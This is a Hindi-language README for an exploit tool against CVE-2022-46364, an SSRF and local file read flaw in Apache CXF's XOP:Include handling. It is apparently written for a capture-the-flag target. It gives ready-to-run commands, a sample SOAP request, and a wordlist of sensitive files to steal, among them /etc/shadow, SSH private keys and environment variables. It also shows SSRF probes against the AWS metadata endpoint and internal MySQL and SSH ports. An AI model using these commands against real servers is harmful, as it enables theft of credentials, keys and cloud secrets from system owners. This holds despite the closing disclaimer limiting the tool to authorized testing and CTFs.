
CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI
लेखक: 0xmid00
भेद्यता: XOP:Include के माध्यम से SSRF / स्थानीय फ़ाइल पढ़ना (MTOM अनुरोधों में)
प्रभावित: Apache CXF < 3.5.5 और < 3.4.10
Apache CXF MTOM (Message Transmission Optimization Mechanism) संदेशों को संसाधित करता है जिनमें XOP:Include तत्व होते हैं। XOP:Include का href विशेषता उसी MTOM मल्टीपार्ट संदेश के भीतर एक संलग्नक को संदर्भित करने वाली होती है।
हालाँकि, कमज़ोर संस्करणों में, CXF href में दिए गए किसी भी URI का अनुसरण करेगा, जिनमें शामिल हैं:
file:///etc/passwd → स्थानीय फ़ाइलें पढ़ता है (LFI)http://127.0.0.1:PORT/ → आंतरिक सेवाओं की जाँच करता है (SSRF)एक हमलावर को इसे ट्रिगर करने के लिए किसी भी प्रकार का कम से कम एक पैरामीटर वाला SOAP अनुरोध भेजना होता है।
pip install requests
python3 exploit.py -r request.txt [options]
| तर्क | विवरण |
|---|---|
-r, --request | रॉ HTTP अनुरोध फ़ाइल का पथ (आवश्यक) |
--mode 1 | /etc/passwd का उपयोग करके इंजेक्ट करने योग्य XML फ़ील्ड का स्वतः पता लगाएं |
--mode 2 | फ़ाइल पथों की एक वर्डलिस्ट को फ़ज़ करें |
--field NAME | इंजेक्ट करने के लिए XML फ़ील्ड निर्दिष्ट करें (स्वतः पता लगाना छोड़ें) |
--wordlist PATH | मोड 2 के लिए फ़ाइल वर्डलिस्ट का पथ |
--read PATH | एक विशिष्ट फ़ाइल को पढ़ें |
-v, --verbose | विस्तृत अनुरोध जानकारी दिखाएं |
अपने रॉ HTTP अनुरोध को ठीक उसी तरह .txt फ़ाइल में सहेजें जैसे कैप्चर किया गया था (जैसे Burp से):
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Connection: close
Content-Length: 487
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tns="http://devarea.htb/">
<soapenv:Body>
<tns:submitReport>
<arg0>
<confidential>false</confidential>
<content>test</content>
<department>IT</department>
<employeeName>john</employeeName>
</arg0>
</tns:submitReport>
</soapenv:Body>
</soapenv:Envelope>
एक्सप्लॉइट स्वचालित रूप से इसे MTOM प्रारूप में परिवर्तित करता है — आपको इसे मैन्युअल रूप से करने की आवश्यकता नहीं है।
python3 exploit.py -r request.txt --mode 1
प्रत्येक लीफ XML तत्व में file:///etc/passwd इंजेक्ट करने का प्रयास करता है और रिपोर्ट करता है कि कौन से फ़ाइल सामग्री लौटाते हैं।
python3 exploit.py -r request.txt --mode 1 --field content
python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt
पहले इंजेक्ट करने योग्य फ़ील्ड खोजने के लिए मोड 1 चलाता है, फिर उस फ़ील्ड के माध्यम से वर्डलिस्ट में सभी पथों को फ़ज़ करता है।
python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt
फ़ील्ड पता लगाना छोड़ता है और सीधे फ़ज़िंग पर चला जाता है।
python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/dev_ryan/.ssh/id_rsa
/home/dev_ryan/.bash_history
/home/dev_ryan/.bashrc
/root/.ssh/id_rsa
/root/.bash_history
/var/log/auth.log
/var/log/syslog
आप SecLists का भी उपयोग कर सकते हैं:
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
<xop:Include href="file:///..."/> से बदलता हैफ़ाइलों को पढ़ने के बजाय आंतरिक HTTP सेवाओं की जाँच करने के लिए:
python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/
या --read मान को किसी भी आंतरिक URL के साथ संपादित करें:
--read http://169.254.169.254/latest/meta-data/ (AWS मेटाडेटा)
--read http://127.0.0.1:3306/ (MySQL)
--read http://127.0.0.1:22/ (SSH बैनर)
यह उपकरण केवल अधिकृत पैठ परीक्षण और CTF चुनौतियों के लिए है। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।